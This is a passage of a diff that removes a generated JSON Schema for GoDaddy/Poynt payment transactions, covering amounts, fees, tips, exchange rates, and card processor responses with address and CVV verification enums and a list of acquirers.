- "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - }, - "required": [ - "amountType" - ] - }, - "amounts": { - "description": "Total amount after this adjustment.", - "$id": "https://godaddy.com/schemas/commerce/transaction/amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "description": "Simple amount used for processing transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Transaction amount" - }, - "currency": { - "description": "Transaction currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/detailed-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "description": "Itemized amount details used for processing transaction", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/transaction/tip-amount.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "format": "int64", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/transaction/fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "description": "Fee associated with transaction", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/simple-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Fee", - "type": "object", - "description": "Simple fee associated with transaction", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/governed-fee.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Governed Fee", - "description": "Governed fee associated with transaction", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "programType": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "type": { - "type": "string", - "example": "FIXED", - "description": "How the fee should be appliedbinary", - "enum": [ - "FIXED", - "HYBRID", - "PERCENTAGE" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true, - "x-propagation": { - "optional": true - }, - "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore" - } - }, - "required": [ - "amount", - "programType", - "type" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - }, - "required": [ - "amountType" - ] - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "This is a response field. The server time (in ISO-8601 format) at which this transaction was initially created. E.g. 2014-09-11T23:14:44Z." - }, - "exchangeRate": { - "type": "object", - "properties": { - "businessId": { - "type": "string" - }, - "cardAmount": { - "type": "integer", - "format": "int64" - }, - "cardCurrency": { - "type": "string", - "minLength": 3, - "maxLength": 3 - }, - "cardTipAmount": { - "type": "integer", - "format": "int64" - }, - "disclaimer": { - "type": "string" - }, - "markupInfo1": { - "type": "string" - }, - "markupInfo2": { - "type": "string" - }, - "markupPercentage": { - "type": "string" - }, - "provider": { - "type": "string" - }, - "rate": { - "type": "integer", - "format": "int64" - }, - "ratePrecision": { - "type": "integer", - "format": "int64" - }, - "requestedAt": { - "type": "string", - "format": "date-time" - }, - "signature": { - "type": "string" - }, - "tipAmount": { - "type": "integer", - "format": "int64" - }, - "txnAmount": { - "type": "integer", - "format": "int64" - }, - "txnCurrency": { - "type": "string", - "minLength": 3, - "maxLength": 3 - } - }, - "description": "Exchange rate used for this adjustment." - }, - "processorResponse": { - "description": "This object includes some important response elements received from the processor.", - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Processor Response", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/creditcard.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "description": "Processor response for credit card", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/processor-response/cv-verification-result.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "description": "CVV verification result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/cv-result-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "CVV Verification result status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ] - }, - "approvalCode": { - "type": "string", - "description": "The approval code that came back from the acquirer (usually its 6 alpha-numeric characters).", - "maxLength": 32 - }, - "approvedAmount": { - "type": "integer", - "format": "int64", - "description": "The amount that the authorization was approved for. This could be different from the transactionAmount requested." - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure." - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "legacyProcessorData": { - "deprecated": true, - "description": "Process response data used by legacy system", - "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "x-legacy": true, - "$defs": { - "LegacyAVSResult": { - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "LegacyAVSResultType": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "LegacyCVResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "LegacyECheckProcessor": { - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "LegacyProcessorStatus": { - "type": "string", - "enum": [ - "Successful", - "Failure" - ] - }, - "LegacyProviderVerification": { - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - }, - "description": "Provider verification fields." - }, - "LegacyStrongCustomerAuthenticationResult": { - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - } - }, - "type": "object", - "properties": { - "acquirer": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "adapterId": { - "type": "string" - }, - "adapterVariant": { - "type": "string" - }, - "avsResult": { - "description": "The address verification results.", - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "phoneResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "postalCodeResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "stateResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - } - } - }, - "batchAutoClosedByHost": { - "type": "string" - }, - "batchId": { - "type": "string", - "description": "The ID of the settlement batch that this transaction is assigned to.", - "maxLength": 64 - }, - "cardToken": { - "type": "string", - "maxLength": 256 - }, - "cvActualResult": { - "type": "string" - }, - "cvResult": { - "description": "The card verification results.", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "NOT_PROCESSED", - "NO_CODE_PRESENT", - "SHOULD_HAVE_BEEN_PRESENT", - "ISSUER_NOT_CERTIFIED", - "INVALID", - "NO_RESPONSE", - "NOT_APPLICABLE" - ] - }, - "debitResponseCode": { - "type": "string" - }, - "echeckProcessor": { - "description": "eCheck(electronic payment funded by the buyer's bank account) processor used by the business.", - "type": "string", - "enum": [ - "MOCK", - "CHECK_COMMERCE" - ] - }, - "issuerResponseCode": { - "type": "string" - }, - "pinSessionKey": { - "type": "string" - }, - "processedAt": { - "type": "string", - "format": "date-time", - "description": "Date / time of transaction received by the processor host." - }, - "processor": { - "type": "string", - "enum": [ - "CHASE_PAYMENTECH", - "REDE", - "EVO", - "FIRST_DATA", - "GLOBAL_PAYMENTS", - "HEARTLAND_PAYMENT_SYSTEM", - "ELAVON", - "MERCURY", - "MONERIS", - "PAYPAL", - "ELAVON_MX", - "STRIPE", - "TSYS", - "VANTIV", - "WORLDPAY", - "EPX", - "WEPAY", - "MASHREQ", - "AXIS", - "KARTUKU", - "NEXI", - "DANA", - "MYNT", - "POYNT", - "NUVEI", - "NPAY", - "BRIDGEPAY", - "CONVERGE", - "MOCK", - "NA_BANCARD", - "CREDITCALL", - "ELAVON_EU", - "FUSEBOX", - "EVERTEC", - "GHL", - "RS2", - "JCN", - "PRISMA", - "VANTIV_EXPRESS", - "EZETAP", - "ADYEN", - "USBANK", - "LETGO", - "CHECK_COMMERCE" - ] - }, - "providerVerification": { - "description": "Object that carries provider verification related fields.", - "type": "object", - "properties": { - "publicKeyHash": { - "type": "string", - "description": "A hash of the public key so Poynt knows it has the right public key." - }, - "signature": { - "type": "string", - "description": "Base64 encoded signature of the transactions." - } - } - }, - "ps2000Data": { - "type": "string", - "description": "Payment Service 2000 data to process a secondary transaction" - }, - "retrievalRefNum": { - "type": "string", - "maxLength": 64 - }, - "scaResult": { - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", - "type": "string", - "enum": [ - "ENTER_PIN", - "INSERT_CARD", - "CDCVM" - ] - }, - "status": { - "description": "Possible values are Successful or Failure.", - "enum": [ - "Successful", - "Failure" - ], - "type": "string" - }, - "statusCode": { - "type": "string", - "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", - "maxLength": 64 - }, - "statusMessage": { - "type": "string", - "description": "Will be whatever message came back from the acquirer.", - "maxLength": 512 - }, - "transactionId": { - "type": "string", - "description": "The transactionID that came back from the acquirer.", - "maxLength": 64 - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/debitcard.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Debit Card Processor Response", - "description": "Processor response for debit card", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/creditcard.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "description": "Processor response for credit card", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/processor-response/cv-verification-result.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "description": "CVV verification result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/cv-result-status.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "CVV Verification result status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ] - }, - "approvalCode": { - "type": "string", - "description": "The approval code that came back from the acquirer (usually its 6 alpha-numeric characters).", - "maxLength": 32 - }, - "approvedAmount": { - "type": "integer", - "format": "int64", - "description": "The amount that the authorization was approved for. This could be different from the transactionAmount requested." - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure." - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "legacyProcessorData": { - "deprecated": true, - "description": "Process response data used by legacy system", - "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "x-legacy": true, - "$defs": { - "LegacyAVSResult": { - "x-legacy": true, - "type": "object", - "properties": { - "actualResult": { - "type": "string" - }, - "addressResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cardHolderNameResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "cityResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - "ISSUER_NOT_CERTIFIED", - "NO_RESPONSE_FROM_CARD_ASSOCIATION", - "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", - "NOT_VERIFIED", - "BAD_FORMAT", - "ERROR", - "UNSUPPORTED_BY_ISSUER", - "UNAVAILABLE", - "ADDRESS_AND_ZIP_MATCH" - ] - }, - "countryResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "NOT_PROVIDED", - 